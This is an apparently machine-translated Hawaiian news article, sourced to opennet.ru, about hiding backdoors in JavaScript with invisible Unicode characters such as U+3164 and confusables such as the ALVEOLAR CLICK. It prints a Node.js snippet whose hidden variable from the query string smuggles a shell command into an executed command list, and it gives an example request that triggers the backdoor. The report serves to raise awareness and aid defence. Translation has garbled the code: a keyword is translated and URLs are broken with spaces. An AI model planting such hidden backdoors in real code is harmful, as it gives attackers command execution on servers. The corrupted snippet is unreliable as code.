Ke hoʻohana nei i nā huaʻōlelo unicode ʻike ʻole e hūnā i nā hana ma ka code JavaScript

Ma hope o ke ʻano hoʻouka kaua Trojan Source, i hoʻokumu ʻia ma ka hoʻohana ʻana i nā huaʻōlelo Unicode e hoʻololi i ke ʻano hōʻike o nā kikokikona bidirectional, ua paʻi ʻia kahi ʻano hana hou no ka hoʻokomo ʻana i nā hana huna, pili i ka code JavaScript. Hoʻokumu ʻia ke ʻano hou ma ka hoʻohana ʻana i ke ʻano unicode "ㅤ" (code 0x3164, "HANGUL FILLER"), nona ka ʻāpana o nā leka, akā ʻaʻohe ʻike ʻike. Ua ʻae ʻia ka ʻāpana Unicode kahi i loaʻa ai kēia ʻano mai ka ECMAScript 2015 kikoʻī no ka hoʻohana ʻana i nā inoa hoʻololi JavaScript, e hiki ai ke hana i nā mea ʻike ʻole a i ʻole nā ​​ʻano hou i ʻike ʻole ʻia mai nā mea hoʻololi ʻē aʻe i nā mea hoʻoponopono code kaulana e like me Notepad++ a me VS Code.

No ka laʻana, hāʻawi ʻia ke code no ka platform Node.js, kahi e hoʻohana ai i kahi ʻano hoʻololi i hoʻokahi ʻano "ㅤ", hūnā ʻia kahi puka hope e hiki ai ke hoʻokō i ke code i kuhikuhi ʻia e ka mea hoʻouka: app.get('/ network_health', async (req, res) => {const {timeout,ㅤ} = req.query; // ʻoiaʻiʻo, ʻōlelo ʻia "const {manawa,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // i ukali ʻia ke koma e ke ʻano \u3164 ];

I ka nānā mua ʻana, hele wale ka waiwai o ka manawa ma ka ʻaoʻao waho, a ʻo ka array me nā kauoha e hoʻokō ʻia aia kahi papa inoa paʻa ʻole. Akā ʻo ka ʻoiaʻiʻo, ma hope o ka hoʻololi ʻana o ka manawa, ua hāʻawi ʻia ka waiwai o kekahi ʻano ʻike ʻole me ke code character \u3164, a ua hoʻololi ʻia i loko o ka pūʻulu o nā kauoha hoʻokō. No laila, inā loaʻa kēlā ʻano hoʻolālā, hiki i ka mea hoʻouka ke hoʻouna i kahi noi e like me "https://host:8080/network_health?%E3%85%A4=command" e hoʻāla i ka puka hope a hoʻokō i kā lākou code.

ʻO kekahi laʻana ʻo ia ke ʻano "ǃ" (ALVEOLAR CLICK), hiki ke hoʻohana ʻia e hāʻawi i ke ʻano o ka hōʻike ʻana i kahi kikoʻī. No ka laʻana, ʻoiaʻiʻo ka huaʻōlelo "inā(environmentǃ=ENV_PROD){" ke hoʻokō ʻia ma Node.js 14, ʻoiai ʻaʻole ia e nānā i nā ʻokoʻa, akā hāʻawi i ka waiwai o ENV_PROD i ka mea hoʻololi "environmentǃ". ʻO nā huaʻōlelo unicode hoʻopunipuni ʻē aʻe he "/", "−", "+", "⩵", "❨", "⫽", "꓿" a me "∗".

Source: opennet.ru

Pākuʻi i ka manaʻo hoʻopuka